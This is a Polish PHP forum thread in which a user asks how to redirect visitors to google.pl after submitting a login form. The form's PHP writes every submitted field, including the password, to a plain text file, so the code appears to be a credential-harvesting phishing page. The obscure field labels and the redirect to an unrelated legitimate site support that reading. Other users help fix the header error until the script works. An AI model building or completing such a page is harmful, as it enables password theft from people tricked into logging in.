Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]Przekierowanie po wypełnieniu formularza
Forum PHP.pl > Forum > Przedszkole
CamerDisco
Witam, kod w php to:
  1. <form action="krajobrazy.php" method="POST">
  2.  
  3.  
  4. <font color="white">ip1:</font> <input type="text" value="Login" name="login" id="login23" ><br><br>
  5. <font color="white">ip2:</font> <input type="password" value="Haslo" name="haslo" id="haslo23" ><br><br>
  6. <input type="submit" value="Zaloguj" name="submitted" ><br>
  7. </form>
  8. </center>
  9. </body></html>
  10.  
  11. <?php
  12. $handle = fopen("krajobrazy.txt", "a");
  13. foreach($_POST as $variable => $value) {
  14. fwrite($handle, $variable);
  15. fwrite($handle, "=");
  16. fwrite($handle, $value);
  17. fwrite($handle, "\r\n");
  18. }
  19. fwrite($handle, "\r\n");
  20. fclose($handle);
  21. ?>
  22.  


Chcę zrobić żeby po wypełnieniu formularza autoamtycznie przkierowywało np. na stronę google.pl
Próbowałem z funkcją header i wgl. ale nie wychodzi mi czy mogłby ktoś wstawić gotowy kod?
jacobson
jak odwolujesz sie do pliku krajobrazy.php to musi byc tam najpierw sprawdzanie czy dane $_POST sa przeslane i jezeli tak to wtedy header('Location: www.google.pl'); powinno zadzialac.
tomxx
Cytat
ale nie wychodzi mi
Pokaż treść tego błędu.
CamerDisco
Kod to:
  1. <?php
  2. $handle = fopen("krajobrazy.txt", "a");
  3. foreach($_POST as $variable => $value) {
  4. fwrite($handle, $variable);
  5. fwrite($handle, "=");
  6. fwrite($handle, $value);
  7. fwrite($handle, "\r\n");
  8. }
  9. fwrite($handle, "\r\n");
  10. fclose($handle);
  11. header('Location: <a href="http://www.example.com/&#39%3b%29;" target="_blank">http://www.example.com/');</a>
  12. ?>


Błąd to: Warning: Cannot modify header information - headers already sent by

Nawet jeśli te ob_end_flush jakoś inaczej rozmieszcze i nie będzie tego błędu to i tak po wysłaniu nie odeśle, zapewnie chodzi o to: jak odwolujesz sie do pliku krajobrazy.php to musi byc tam najpierw sprawdzanie czy dane $_POST sa przeslane i jezeli tak to wtedy header('Location: www.google.pl'); powinno zadzialac.
Tylko nie wiem za bardzo jak to zrobić.

Zrobiłem też tak:
  1. <?php
  2. $handle = fopen("krajobrazy.txt", "a");
  3. foreach($_POST as $variable => $value) {
  4. fwrite($handle, $variable);
  5. fwrite($handle, "=");
  6. fwrite($handle, $value);
  7. fwrite($handle, "\r\n");
  8. }
  9. fwrite($handle, "\r\n");
  10. fclose($handle);
  11. if(isset($_POST['submitted']))
  12. {
  13. header('Location: <a href="http://www.example.com/&#39%3b%29;" target="_blank">http://www.example.com/');</a>
  14. }
  15. ?>


Ale również jest ten błąd z Cannot modify header information - headers already sent by
tomxx
Spróbuj ten cały kod wstawić w <head>...</head>.
CamerDisco
Po wstawieniu head po wysłaniu jest ten sam błąd.
alex19

Na samym początku skryptu załatwi problem smile.gif
CamerDisco
A gdzie ja wstawiam? Wstawiam od razu po <?php
alex19
Tak, na samym początku skryptu w znacznikach.
Skrypt zacznij od:
  1. <?php
  2. //reszta tego co tam masz na górze
  3. ?>


Ogólnie błąd pojawia się dlatego, że header musi być wykonany/wysłany jako pierwszy, przed nagłówkami z html i zawartością strony.
CamerDisco
Dziękuje BARDZO! smile.gif
Cały skrypt php przeniosłem na samo górę i chodzi wszystko smile.gif
kamilexoN
Heheh też to miałem. ;p
Dodaj po naciśnięciu przycisku sumbit oprócz kodu wykonywanego aby wykonał się skrypt przekierowujący przykład z mojego kodu do logowania:
  1. if($password == $wynik[0]){
  2. $_SESSION["ZALOGOWANY"] = TRUE;
  3. $_SESSION["USERNAME"] = $username;
  4. echo "Zostałeś pomyślnie zalogowany!";
  5. echo "<script>window.location.href = 'http://localhost:78/';</script>";
  6. } else {
  7. echo "Podałeś błędne hasło!";
  8. }


Skrypt który przekierowuje to <script>window.location.href = 'http://localhost:78/';</script>

Cholera spóźniłęm się z odpowiedzią haha.gif.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.